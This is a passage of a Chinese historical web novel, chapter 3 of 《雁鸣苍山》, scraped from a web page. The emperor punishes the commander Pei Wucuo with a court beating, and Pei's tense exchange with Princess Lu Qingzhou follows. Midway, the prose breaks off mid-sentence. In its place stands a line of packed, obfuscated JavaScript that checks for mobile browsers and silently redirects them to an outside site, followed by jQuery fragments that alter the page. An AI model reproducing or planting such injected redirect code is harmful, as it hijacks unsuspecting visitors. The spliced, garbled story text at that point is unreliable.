3. 廷杖是赏是罚?

作品:《雁鸣苍山

    突如其来的变故在所有人意料之外。


    两位皇子未曾想到陆轻舟会突然出手,更未想到裴无厝居然惨败。


    陆轻舟扫了一眼受伤之人,透着浓浓的不解。


    小乙更是不解,陆轻舟为何对裴无厝有如此大的杀意?


    为何会这样?


    所有人都在心中发问,但无人敢问。


    小乙垂眸,他记得内使说过:不能输。


    他不知道接下来该如何面对帝王的雷霆之怒,他很想问问裴无厝:大人,你可曾预料到这个结局?


    可小乙很快又安定下来,毕竟裴无厝没死,陆轻舟也没死,一切都还有转机。


    小乙对几人赔罪:“二位殿下,郡主,请入京,陛下等着郡主述职。”


    ***


    裴无厝败了的消息,以最快的速度传回宫中,传到元朔帝耳中。


    元朔帝最近豢养了一只鸟,很是喜欢,他逗弄着鸟,听着底下人心惊胆战地说着此事。


    当值的公公高直打发人下去后,这才开口:“圣人似乎对这个结果一点都不惊讶。”


    高直虽是疑问,却也带着肯定。


    “他当然会输。”元朔帝声如洪钟,“裴无厝太拿自己当回事了,朝野都以为陆轻舟是个女娃娃,便不把陆北王府放在眼中。可那帮蠢货也不想想,陆轻舟若是没点本事,陆珩敢把陆北军交给她吗?”


    高直拭去渗出的汗:“还是圣人福气好,得了轻舟郡主。”


    “圣人,郡主该如何?”


    “自是要赏。”


    “那裴大人呢?”


    元朔帝打开鸟笼,里面的鸟扑腾着翅膀飞出,还未飞多远,脚上的链子便牵制住了它。


    元朔帝扯了扯链子:“果然是畜生,朕喂了那么久,还是想着外面的天空。高直,你说,朕该怎么处置?”


    帝王的威压让陪伴他数十年的高直也得警醒:“鸟儿生性如此,陛下若想,便能一直养在笼子里,若是不想,随意找个由头,放了也好,换个听话的也好,可不都由着陛下?”


    “你这嘴,太毒。”


    高直躬身:“那奴婢便差人让礼部备着郡主的封赏。”


    元朔帝阻止:“别差礼部,让内务府去办。”


    “内务府?”高直像是明白了什么,乐呵呵道,“还是陛下心疼郡主。”


    “老狐狸,就你懂。”元朔帝指了指高直,“去吧,这事办不好,你和你手下的人,也该一起走了。”


    “是。”


    “还有,裴无厝他们也该回来了,让郡主和裴无厝来西暖阁。对了,今夜的宫宴,找个稳妥的人,伺候郡主。”


    高直趋步离去,他是个聪明人,自然明白,揣度太过便是将帝王的心思剖在明面,帝王不允。


    高直在台阶下,看着乾明宫,巍峨庄严的宫殿诉说着主人的权利。帝王之怒,浮尸千里,他只能求裴无厝今夜好运。


    ***


    从安远门入,过玄武大街便能到午门。


    从午门到乾明宫,共三道门。


    陆轻舟和小乙下了马,走了约一炷香的功夫才到乾明宫。


    一路上,二人互相打量,却又沉默不语。


    小乙在后,一路上都盯着陆轻舟,妄图想明白,陆轻舟为何不藏拙?公然得罪裴无厝,便是打了皇帝的脸面,陆轻舟不该如此愚蠢,可什么样的理由,值得陆轻舟去犯蠢?


    陆轻舟虽在前,但身后炽热的眼神逼得她不自在,她不喜欢这样被窥视,尤其是陆北王府也曾这样被窥视。


    她故意慢下脚步,与裴无厝并排,她总觉得,眼前的裴无厝与情报中的裴无厝有所不同。


    情报中的裴无厝,是心狠手辣不分是非只当帝王刀的权臣,他能登上指挥使的位置,除了武功,谋略也绝不会弱,可今日的裴无厝,破绽太多,输的太惨。


    尤其眼下,裴无厝受伤,但一路走来,她并未听到裴无厝呼吸紊乱,显然是个内力高深之人。


    陆轻舟想不明白,只能对裴无厝更加提防。毕竟,他这样的人,最是危险,在京中做些事情,他这个人,也最需要防备。


    二人在你来我往的试探与猜忌中,到了西暖阁。


    高直在殿前当值,待二人一到,传了帝王第一道口谕:陆轻舟觐见,裴无厝殿前候旨。


    没人知道陆轻舟与帝王说了什么,只是陆轻舟进去不久,便出来了,同时还有帝王第二道口谕:赏裴无厝廷杖二十,陆轻舟监刑。


    高直听到这道口谕时,幽幽地望向天际——溧都又该变天了。


    几人相视而望,不约而同的想:这场刑杖,是赏还是罚?


    陆轻舟监刑,说明帝王没想重罚,只是帝王对裴无厝败了的不满,是对陆轻舟和陆北王府的警告,本该陆轻舟受罚,便只能由裴无厝暂领。


    裴无厝被罚,是帝王的恩赐,一则提醒:雷霆雨露皆是君恩,二则便是利用这场刑杖把裴无厝摘出来,也明晃晃的告诉裴无厝,陆北王府欠了你一个天大的人情。


    事到如今,所有人都明白,他们不过是帝王制衡之术下的棋子。


    陆轻舟平静的面容下是藏不住的薄愠,她盯着小乙,周身的杀意散了些。


    小乙领旨谢恩,二人无言往北镇抚司走去。


    二十刑杖,这在诏狱之中并不罕见,只是以往都是由裴无厝监刑,今日他反倒成为了受刑之人,一切倒像是玩笑。


    二十刑杖,对裴无厝这幅习武身子而言,不算苛责,可到底还是有些难捱。


    小乙硬生生地挨过二十杖,在极度的疼中,他好像又一次看到了裴无厝。


    小乙说:“大人,身居高位,也要忍受这般羞辱与折磨吗?”


    裴无厝问他:“疼吗?”


    小乙道:“疼。”


    “可比之马蹄踏骨,血落成泥,似乎也没那么疼了。”裴无厝哀戚。


    “大人,为什么?我不解。”


    裴无厝未回答,指了指陆轻舟:“她才十八岁,被如此羞辱,轻舟该是恼了吧。”


    “啪”,行刑官一声“二十”,裴无厝的影子顷刻散去,只留下小乙一个人的无措。


    他在喘息间,恍惚听到随行的太监,提醒陆轻舟验刑。


    小乙抬头,汗水洇湿了他的双眸,让陆轻舟变得模糊,他看不清陆轻舟,更加不理解,裴无厝说的话。


    陆轻舟一记眼刀震得太监心惊,忙不迭赔笑:“是奴婢多言了,郡主,指挥使,莫要怪罪。”


    陆轻舟有军旅之人的傲气,可终是年少,还有些浮躁,无法像裴无厝一般将所有的羞辱悉数咽下,也无法像小乙一样看淡生死便将一切羞辱都置之度外。


    陆轻舟冷冷道:“公公可以去回陛下了。”


    太监虚虚一礼,对着二人道:“圣人口谕:‘郡主陆轻舟平定北境有功,朕心甚慰,特恩准郡主赐居京中,指挥使裴无厝司其职、尽其责,速妥为安置一应事宜。’二位,接旨吧。”


    一连三道口谕,以回京述职之名,将陆轻舟困在溧都。


    小乙知道前世的惨状,他不能接旨,却不敢抗旨。


    他看向跪下接旨的陆轻舟,从未有过的害怕涌上心头。


    太监一走,诏狱便只剩他二人。


    小乙早就忍不住了,率先开口:“郡主对这三道口谕,便无一点震惊吗?”


    陆轻舟冷嗤一声:“我该震惊什么?是震惊大人替我受罚,还是震惊陛下将我困在溧都?亦或者,陛下明知你我不和,还让大人安排我的一应事宜?说来说去,今日陛下,不过是借你敲打朝臣,敲打我罢了。”


    小乙惊讶于陆轻舟对于京中局面的敏锐,他是凭借裴无厝对元朔帝的了解猜测,可陆轻舟仅仅凭借一场交手,三道口谕,就能猜中陛下的布局。


    他该庆幸陆轻舟的聪慧,可也忧心陆轻舟的防备。


    如今已是九月,离冬月不过二月,六十日不到,他必得让陆轻舟信他,否则,他救不了陆轻舟,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991069|161635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    守不住北境,大雍亡国之难只会重演。


    小乙挑明:“郡主是为了查清陆北王死因入京,于情于理,郡主都该低调,可安远门交手,郡主招招狠戾,大有不赢我不罢休之势,这可不是上策。若我怀恨在心,郡主想查清陆北王死因,只会更难。”


    陆轻舟藏在身后的手化掌成拳:“你在威胁我?”


    “不敢,只是我想知道,发生了什么?才能让郡主做出如此愚蠢之事?”


    陆轻舟挑眉笑着:“大人可是陛下的宠臣,怎么?陛下没告诉大人吗?”


    “陛下只告诉我——不能输。”小乙坦然,“可我打不过郡主,我还是输了。”


    陆轻舟更为防备了。


    小乙看得清楚,心钝钝地疼了一下,他有些无措,他不知道该怎么做才能让陆轻舟相信他不会害她。


    思索再三,他索性将自己剖析:“陆北王乃战死,郡主清楚,我也清楚,我敢保证,那个仵作,陛下的人找不到他。陆北王的死因,我也可以替郡主去查。这个条件,郡主可放心。”


    陆轻舟掌风从小乙耳边划过,在身后的墙壁上,留下刃痕。


    “诱供,震慑,大人这一招玩得炉火纯青。”


    这一刻,小乙只想用“割裂”来形容陆轻舟。她明明笑得很甜,声音还带着几分羽毛略水的撩拨。可同样,她看向他,眸中有太明显的轻蔑,她像十八岁,又和京中贵女的十八岁截然不同。


    容不得小乙细想,陆轻舟放肆又大胆的略过他,细细的抚摸起墙上的划痕:“只是,大人这一招,吓一吓朝中那些囊虫便罢了,吓我这种从战场上回来的修罗,怕是不合适吧!”


    “郡主该明白,我若能查到仵作,陛下的人,早晚也可以,到时候,郡主瞒得住吗?”


    “瞒什么?”相比小乙的激动,陆轻舟显得格外冷静,“大人想说,我也拦不住。”


    “陆轻舟,我比任何人都想你能平安离开溧都。”小乙压抑自己的急迫,“你到底怎么样才能信我不会告诉陛下?”


    陆轻舟指了指自己墙上的痕迹:“这一道,大人用了一分力,这一道,大人用了三分力。那大人不妨猜猜,我刚才用了几分?”


    “郡主何必试探,”小乙道破陆轻舟所想,“郡主想知道我的实力,方才城门一战,郡主看到了。”


    陆轻舟指着自己那道痕迹:“我三成力量,也比不过大人一成。”


    小乙用三成力击了两掌,一掌比陆轻舟的深,一掌比陆轻舟的浅。


    “郡主,请验。”


    在陆轻舟的疑惑中,小乙解释:“郡主善用兵,却不善机关之术,正如郡主所言,诏狱是为了震慑,自然会有些手段。这两面墙体虽看起来相同,可我出手的这一面墙体用了锡,看起来力道便深了些。郡主现在可会信我些?”


    陆轻舟迟疑片刻,问出自己的不解:“大人的破绽太明显了些,高手过招,招招致命。大人内力雄厚,自然明白以刀克枪,本就不是上策。”


    “唯命是从。”


    诏狱内突然安静下来,陆轻舟被皇帝戏耍的愤怒又一次涌上。


    她仰头大笑:“唯命是从,好一个唯命是从。”


    “郡主亦是如此?”小乙试探,“兵权吗?”


    陆轻舟不答。


    小乙接着揣测:“陛下给郡主密旨,若是输,便是边关的兵权,可朝中没有能用的武将,若郡主输了兵权,北境无人可守,所以郡主只能赢。”


    “是。”


    陆轻舟认真审踱眼前之人,能在受刑之后还能不动声色地将人剖心,怨不得多疑如元朔帝也对裴无厝宠信不衰。


    陆轻舟反问:“大人觉得这顿打冤枉吗?”


    轮到小乙沉默了,他不知道裴无厝冤不冤,可他冤——平白无故地,先是被夫人捅了一枪,然后又被帝王打了一顿,最后,还得被夫人质疑,他感觉自己都快冤死了。


    偏偏陆轻舟还在问:“大人不妨说说看,陛下为何赏刑杖?”